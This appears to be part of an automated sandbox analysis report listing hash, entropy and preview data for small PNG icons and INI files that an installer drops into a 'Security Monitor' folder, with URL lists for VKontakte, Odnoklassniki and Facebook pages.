File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-UF67N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-UOPS2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Friends]
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.685024049706956
Encrypted:	false
SSDEEP:	3:QRUXdrx9reugHovdMTaW4/d1amqKL946WImgK4/d1amqKLrjM+n:KOdrDeaMB4FQ7l9NgK4/dQ7r+n
MD5:	CFA4D0ED34E826F2A6A243ADCE69C272
SHA1:	F4C7EA1EFC0FD6A61706120C4BF66452418805EC
SHA-256:	9202BF8E81E98F492F5610A2F67E6CF8882890484F0F8E7B43EE9DA2D2372B70
SHA-512:	66663614DCBBC9E62E91A2B34B1518AD3EB7C78C39F8DA9523F1D17A7CBC3000EAC7F7373A698BF9F76A3B395EB857393225E4E77216EBEE06C83CF0D871FF88
Malicious:	false
Reputation:	unknown
Preview:	[Messages]..ID="vk.com/im"..[Friends]..ID="vk.com/friends"..[Notifications]..ID="vk.com/feed?section=notifications"..[Replies]..ID="vk.com/feed?section=replies"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Messages.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Notifications.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Replies.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-0IL3A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-8V04V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-A5OI3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-K0FLF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [News]
Category:	dropped
Size (bytes):	859
Entropy (8bit):	4.858296034006616
Encrypted:	false
SSDEEP:	12:Ty3COfcKd063/4Ga1rmWCdmr1gm+amVyxpgmkmAEnnmmImC4dmEnq:+kKGQiC5Enrq
MD5:	4A6A1B208E79D27168441977D43897FC
SHA1:	FAE08C5EF8DB510F634E46623AB09C63EA9C3F8A
SHA-256:	F2B9D0C45FA2A9B15BB9694C26BD75B45B4E011B99D80604D2984C0F856B2AD9
SHA-512:	79E43D69F7973750B534BDE680380BC912B906F3D3D848255BA3F8ADE4DC7FAD460CD0FF14230AEAED4285F291D6510AF57FA1F9876ABEFDE1F6D56890B35D03
Malicious:	false
Reputation:	unknown
Preview:	[Welcome]..ID="facebook.com/?sk=welcome"..[News]..ID="facebook.com/?sk=nf"..[Messages]..ID="facebook.com/messages"..[Events]..ID="facebook.com/events"..[Find friends]..ID="facebook.com/find-friends/browser"..[Invite friends]..ID="facebook.com/?sk=ff"..[Friends]..ID="facebook.com/lists"..[Friends List]..ID="/friends?ft_ref=flsa"..[Groups]..ID="facebook.com/bookmarks/groups"..[Settings]..ID="facebook.com/settings?tab=account"..[Security]..ID="facebook.com/settings?tab=security"..[Notifications]..ID="facebook.com/settings?tab=notifications"..[Subscribers]..ID="facebook.com/settings?tab=subscribers"..[Apps]..ID="facebook.com/settings?tab=applications"..[Payments]..ID="facebook.com/settings?tab=payments"..[Facebook Ads]..ID="facebook.com/settings?tab=ads"..[Gifts]..ID="facebook.com/settings?tab=gifts"..[Privacy]..ID="facebook.com/settings/?tab=privacy"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Apps.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	409
Entropy (8bit):	7.015430309226083
Encrypted:	false
SSDEEP:	12:6v/78/ntuuZyeN46QM3TNzORtgDjrSNNXH:j1yA47QRORtgXuL
MD5:	45409D06153FF84BDB5AB3E30C7CAB12
SHA1:	AB84313D7A29E9D9C6308E3B99CB247AAADE34C4
SHA-256:	52611BFC775199483CF8216F2FAEC18FD56B9D895A1173338B36BE5F14F5FC06
SHA-512:	7C21E74A7787B1F26F0A5A4ADC4B4D469C069F6A066E4AE45D72F5515696313BAEC74C9435E04B812521339918E08E2136EBAA81E4351053AF9D372BB372F377
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O.S...0....fH&........3S.......f0s.}......Z...5...-,aM^zw.{}m..2..x...2.YC....$..u..........9I..-...(.R wf.G..0....>+...lr..f../R*q.q.3.......4M.`..q.c.....$6M..1&.K.F{.6....U=I..?...M.h1dFQd.`.#...zew..\.EAA......v...$...\.$.S.....K.W.b.d...w.....R.F......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Events.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 15 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.615232112735145
Encrypted:	false
SSDEEP:	6:6v/lhP8LMR/C+wZA3te4YeOiG/WrSUAHmrOk3I9/t6CEyO9hbp:6v/7V/nw5WGUAHmrJ3Wl3Ol
MD5:	7710D6BF6295D39378CE75797D7509B5
SHA1:	090E061712842B2611BDDF21DE8FDC016DE827AB
SHA-256:	3A098E07391825DB6349455DAF4215AE19C52A55B6838F7539FC1D439F5988A0
SHA-512:	725B1F1292B10C80FAF1B3F9799A8833866829687A798037FEA2477F8E567E077FD2868B1B177D74B7C8C86F501C8E9706733D600774BECB53141BD136C98F5B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............V%.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.``........@..:;..A........w...'..5W...'....h.a...Pw0..lb 9..0..q.."..Z.~.9..C.....31....Dk.16..g....b.>.`#..;W.....A.1H=H.C....Pc...b.>. ..b)2........+4F....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Facebook Ads.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	6.94896891695791
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te4bUHmsrNAhcSAZF8qYe+QRePg5gJjsDzEm2I81SwJL2l/sc:6v/78/nXUfyFM8q5Ig5gIzjMZSN
MD5:	4C24F1DEA3731AF8E87753BF5809B7AA
SHA1:	E66175AEF9B3B505215D5B8E2502C78A6662493A
SHA-256:	501002F4107D366ABFD5659C858B56EF0A46C053236A83C2BF44AEAA4D41F510
SHA-512:	7AE28379921677BAAD7C011A4FD5D8BC61740A4F4F51D4C726B7765AD0FA4FAE098F3B3EC6E05043DB050F2E0028265DE7A2FE7943A6462790B590FF8787C917
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8OcH....V. ..c..@._\|xD....4.....a.......:r.A\..?..dt.A....'.A.P.x...H".e...}...O....H.n..G..#cl. k...b.....#cl. ..s...W..............l..n.......A.$.w...g..0<E....}...Y.,.7...s..S..?y...A.%].Q0..dq.. ...'U.DE....3.Y.l...........HpJ.e@......?y..'~...n.@.q*@....Pm...uJ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Find friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	6.921441707444873
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNq0dooGB9bqqTLPolIae+w2iYjDbg2UOj93OFo4wrbp:6v/78/nilvunTLseF2iYjfg29VOFS
MD5:	6D7B39EE6BA125324EC0457FB8B1CF30
SHA1:	E7B708B0D544F6B3137AB7E06914C8F318859DB3
SHA-256:	7A9A198F92900BF042FEDB164367091853F9E3517B389197234889E68A05B04E
SHA-512:	14CFE6B76479E2BD27E8893E2096B1A27B9B8726E3D70F64F163BEAD669E06D793AD176DF19073ECD5D491E7386A66F74E7AE8734DAC56DD292E401BD2382033
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.T .q....U.Sk6.'.a5...o..............dHd....W...0s...E+)0`.. .IrA.P....h.y..v....Y.......gff.1H....n.O.^.6..I.e#;.....G. .....n3.v...Ov.1...@..0 .a.........S...a@$0.;g.B..f.6..x!...}.!..t\|........#...+..._..?..dL(.a..v.O...}.......F..8...P.3A6.'&..P.....e.K......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Friends List.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Gifts.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	6.6701546506374205
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teRZQUgXtmGvGDJ0IkloKlVJjh60HEwTp:6v/78/nGboZvGDQbRF9
MD5:	CC83BBCB39E5B47545CBDFBABFE69864
SHA1:	C2EBFD1842B6877B69F32E00AE7A55BCFA063802
SHA-256:	71197BC1C1D20F42851D4F5ABD91CD47D6C52E9C0100CEC8FBCC57B2E515B4B3
SHA-512:	929369F0D508A6326C0019701CA56E4694109DF2D2EE5372B6F2227F16E7FAC367263CF4065E8E493CC2D69129C116D582076040CBC71A70AF4CCD128BC62165
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc` ..t.>....9A.@E.../...b. ...`..H...Ob..).j...?.q..........0A5&!..r..T\|1A......c.Wpj..R....I.....4......K......@z....4......../ ?.;~..o.4.....(.......E%z....J.@J@"..r.....".#....4.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Groups.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
